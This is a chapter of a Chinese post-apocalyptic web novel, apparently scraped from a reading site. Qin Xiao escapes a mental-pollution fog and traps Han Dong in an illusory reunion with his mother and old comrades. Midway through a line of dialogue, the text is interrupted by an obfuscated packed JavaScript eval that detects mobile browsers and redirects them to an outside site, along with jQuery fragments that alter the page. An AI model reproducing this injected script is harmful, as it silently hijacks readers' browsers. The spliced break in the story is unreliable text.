9. 09 幸福

作品:《废土最强残次品

    雾从四面八方涌来。


    从秦萧的眼睛里灌进去,从她的耳朵里灌进去,从鼻子里灌了进去。她没办法呼吸。她想喘气,刚一张嘴,雾又从嘴里灌了进去。


    她用尽全力挣扎。可那些雾是有重量的,压在她身上,压在她胸口,压得她直不起腰。


    到最后,那些雾甚至带着她,一点一点飘了起来。


    意识开始模糊。


    手脚的反应越来越迟钝。


    意识在往下坠,坠进那片灰白色里,就在她快要完全沉下去的那一刻——


    她看见了一个画面。


    窗户。灰蒙蒙的天。一滩积水顺着墙往下爬。


    她坐在轮椅上,看着窗外。


    这样的下雨天,对于很多人来说,可能是难得的休息日——要么窝在家里打游戏,要么躺在床上睡个懒觉。但对于她来说,下雨天和晴天没有任何区别。


    时间在她这里,只是从白天变成黑夜,再从黑夜变成白天。


    一天一天,一年一年,百无聊赖。


    那时她唯一的心愿,就是能站起来。哪怕一天也好。


    她想用自己的腿走一走。想跑起来。想体验一下奔跑是什么感觉。


    哪怕在梦里也好。


    如今她真的站起来了。虽然是游戏世界,可感觉却这么逼真。


    才几天。


    她不甘心。


    她想要活下去——


    那个念头冒出来的瞬间,胸口突然炸开一团烫意。


    那团烫意从胸口往外冲,冲过喉咙,冲过眼眶,冲过四肢百骸。


    秦萧猛地睁开眼睛。


    那些雾还在。但它们不动了。


    它们停在她身体里,停在她周围,一动不动,像忌惮着什么被定住了一般。


    然后她胸口那团光开始亮了。


    从皮肤底下透出来的亮,蓝白色的,越来越亮,越来越烫。那团光像一个漩涡,把周围的雾全部吸了进去。


    炉火越烧越旺。


    那些雾在她胸口炸开,炸成一团一团的黑灰,又炸成粉末。灰烬从她嘴里、鼻子里、眼睛里、耳朵里、每一个毛孔里涌出来,簌簌地往下落。


    秦萧随着那些灰烬一起落了下来,她双手撑地,大口大口地喘息。


    【系统提示:强烈的求生欲让你挣脱了精神污染,万物熔炉完成反向吞噬。】


    【获得临时能力:精神入侵】


    【效果:可使用一次“反向污染”,将目标拉入你的精神世界,持续时间:三十分钟。】


    【限制:仅能使用一次。入侵期间,你的意识将完全暴露。请谨慎选择目标。】


    【提示:你现在是猎人,也是诱饵。】


    秦萧跪在地上,喘了很久。


    她慢慢地站了起来。


    四周的一切都不一样了。


    那些之前压得她喘不过气的雾,此刻只是一层薄薄的烟,轻飘飘地浮在那里。她能看穿它们——看穿那些灰白色后面藏着的东西,那些扭曲的轮廓,那些游动的影子,那些之前她看不见精神污染世界的底色。


    万物熔炉。


    她忽然有点明白这个名字的意思了。


    万物皆可熔炼。


    物理的可以。


    精神的也可以。


    这样说来,系统那句“幸运者”,好像也不是完全在骗她。


    ---


    饭馆里还是那个样子。那五个人坐在桌边喝汤。


    东子站在灶台边,右手垂着,左手握着大勺,在锅里慢慢搅动。


    秦萧走进去。


    她没说话。目标明确,直接走到他身后,拍了拍他的肩膀。


    东子转过身。


    那一瞬间,灰白色的雾气从秦萧身上涌出来,扑向他的脸。


    他睁大眼睛,根本来不及躲闪,就在那些雾快要把他整个吞进去的那一刻,一道黑影从旁边闪了过来护住了他。


    秦萧的心咯噔一下。


    ……


    韩东睁开眼,有些懵。


    阳光从窗户里照进来,暖洋洋的,照在他身上。


    他已经很久很久没有见过这样的光了,他低下头,看见自己的手。


    完好无损的一双年轻的手。没有老茧,没有伤疤,没有那些年在畸化体堆里滚出来的痕迹。


    他站在一间陌生又熟悉的屋子里。


    不大,但收拾得很干净。墙上挂着旧照片,有一张是他十岁时候拍的,站在妈妈旁边,笑得眼睛眯成一条缝。灶台在角落里,上面炖着什么东西,咕嘟咕嘟冒着热气。


    香味飘过来。


    清新的绿豆香气,他小时候每个夏天都要喝的那种。


    韩东有些茫然。他为什么在这里?又是怎么过来的?


    “儿子,回来了?”


    那个声音从灶台边传来。


    韩东一下子转过了头。


    徐婉站在那里,系着那条旧围裙,头发有些花白,手里拿着勺子,正在锅里慢慢搅动,那动作,和他一模一样。她抬起头,看着他,笑得温柔。


    “快过来,”她说,“汤好了,锅里还炖着酱牛肉,你先垫一口。”


    韩东站在原地,一动不动。


    徐婉看着他,有些奇怪:“怎么了?傻站着干什么?”


    韩东的唇翕动了一下,没说出话。


    在妈妈的召唤下,他本能地迈开腿,一步一步,走向她。


    徐婉盛了一碗汤,递给他。绿豆汤,熬得烂烂的,飘着几颗没捞干净的绿豆皮。


    接过碗。


    手在抖。汤在碗里晃了一下,洒出来几滴,落在手背上。


    烫的。


    和记忆里一样烫。


    他端起碗,喝了一口。


    眼圈一下子就红了。


    徐婉愣住了,赶紧放下勺子快步走过来,伸手去擦他的脸:“这是怎么了?哪里不舒服吗?”


    韩东说不出话。他只是摇头,任由眼泪流进碗里,再流进嘴里。


    咸的。甜的。混在一起。


    他也不知道自己怎么了。


    明明只是一碗绿豆汤。明明小时候喝过无数次。明明……明明没什么特别的。


    可他就是止不住。


    徐婉没追问,担忧地打量着儿子,然后,她突然看见了他的手。


    “怎么弄的?”她一把抓住他的手腕,翻开来看。那上面有一道伤口,不深,但还在往外渗血。


    韩东还没来得及说话,徐婉的手已经按上去了。


    暖意从她的掌心透过来,渗进伤口里,渗进皮肤里,渗进骨头里。


    她是治愈系异能者。不厉害,只能治一些小伤。


    “你啊,”徐婉一边治一边絮絮叨叨,“从小就毛手毛脚的,跟你说了多少次,做事要小心。切个菜都能切到手,你说你能干点什么?以后出任务怎么办?我不在你身边,谁给你治?”


    韩东听着那些话,怔怔地看着妈妈。


    徐婉说到一半,抬起头,看着他愣愣的模样,伸手在他眼前晃了晃:“怎么了?今天不说我啰嗦你了?”


    韩东张了张嘴,正要说话——


    门铃响了。


    “我去开门。”徐婉松开他的手,擦了擦眼角,走过去。


    门一开,笑声就涌了进来。


    “徐姨!”


    “徐姨好!”


    “徐姨,我们来看您了!”


    一群人涌进来。


    为首的是王磊。二十出头,年轻气盛,脸上带着那种刚打完胜仗的得意。他拎着大包小包,有水果,有肉,还有一瓶酒。


    后面跟着老张、老于、苏慧。都是二十来岁的模样,眼睛里带着光。


    徐婉笑着招呼他们:“快进来快进来,怎么又带东西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323414|199036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?上次带的还没吃完呢。”


    王磊把东西放下,冲韩东挤了挤眼:“想吃徐姨做的黄酒焖肘子了!东子天天跟我们吹,说他妈做的黄酒焖肘子天下第一,我们今天非得尝尝不可。”


    徐婉被他逗笑了:“行行行,给你们做。先让我看看,受伤了没有?”


    王磊摆摆手,大大咧咧地说:“没事没事!多亏了东子。要不是他挡那一下,我这头就开花了。这小子现在可厉害了,成我的救命恩人了!”


    老于也凑过来,拍了拍韩东的肩膀:“东子,下次出任务,还跟你一组。有你在我放心。”


    苏慧站在后面,端着一盘洗好的水果,冲韩东笑了笑,脸有点红。


    韩东看着他们,喉咙发紧。


    老张已经开始在屋子里转悠了:“徐姨,做什么好吃的了?哎呀,口水都要流下来了。”


    徐婉笑着摇头:“你啊,狗鼻子~行了,都别站着,坐坐坐。老王,帮我把桌子支起来。小慧,你去帮我剥两头蒜。”


    大家七手八脚地忙开了,小屋一时间充满了欢声笑语。


    王磊在帮徐婉搬桌子,一边搬一边吹牛,说上次自己差点干掉一只畸化体。老张在旁边拆台:“你那是差点被干掉吧?要不是东子拉你一把,你现在就是一具尸体了。”


    “那我也勇敢了啊!”王磊不服气,“我至少敢上!”


    老于闷头在剥蒜,抬头插一句:“你上的时候眼睛是闭着的。”


    苏慧在旁边笑得直不起腰,徐婉在灶台边忙活,锅里的油滋滋作响,香味飘出来。她一边炒菜一边回头看他们笑。


    阳光从窗户照进来,照在每个人脸上。


    韩东站在那里,怔怔地看着他们。


    王磊第一个发现:“东子?你咋了?怎么眼睛那么红啊?”


    所有人都停下来,看着他。


    “没事吧?”老张走过来,“是不是太累了?这几天出任务太频繁了?”


    苏慧也走过来,递给他一杯水:“坐下歇会儿吧。”


    老于也凑过来,难得地多说了一句:“累了就说,别硬撑。”


    韩东看着他们,摇了摇头:“我没事儿。”


    他立即低下头,哽咽地说:“只是觉得特别好,特别幸福。”


    话音刚落,屋子里安静了一秒。


    然后王磊先笑出声来:“哎呦喂,咱们东子什么时候学会说这种话了?”


    老张也跟着起哄:“就是就是,平时多糙一人啊,今天怎么还煽情上了?”


    老于凑过来,用胳膊肘捅了捅韩东,难得地开起玩笑:“说说,怎么个特别好法?是汤特别好喝,还是人特别好?”


    他说着,往苏慧的方向瞟了一眼。


    苏慧脸腾地红了,伸手就要打老于:“你瞎说什么呢!”


    大家笑成一团。


    韩东也跟着笑了。


    他已经很久很久没有这样幸福的笑了。


    笑着笑着,他忽然有点恍惚。


    这一切真的是真的吗?


    他应该警觉的。应该有所察觉的。


    可他太久没体会过了。


    太久没见过阳光。太久没听过笑声。太久没被人围着、闹着、幸福着了。


    久到他根本不想去分辨。


    阳光是真的。笑声是真的。汤的香味是真的。站在灶台旁看着他们微笑的妈妈也是真的。


    他放弃挣扎。就这样吧。


    能多待一秒是一秒。


    然后,他听见了一个声音。


    滴答。滴答。滴答。


    很轻。很细。混在笑声里,几乎听不见。


    他抬起头,看向墙上。


    那里挂着一个钟。木头的壳子,玻璃的面。钟摆一左一右地晃。


    滴答。滴答。滴答。


    循环停滞不前。


    他的笑容顿住了。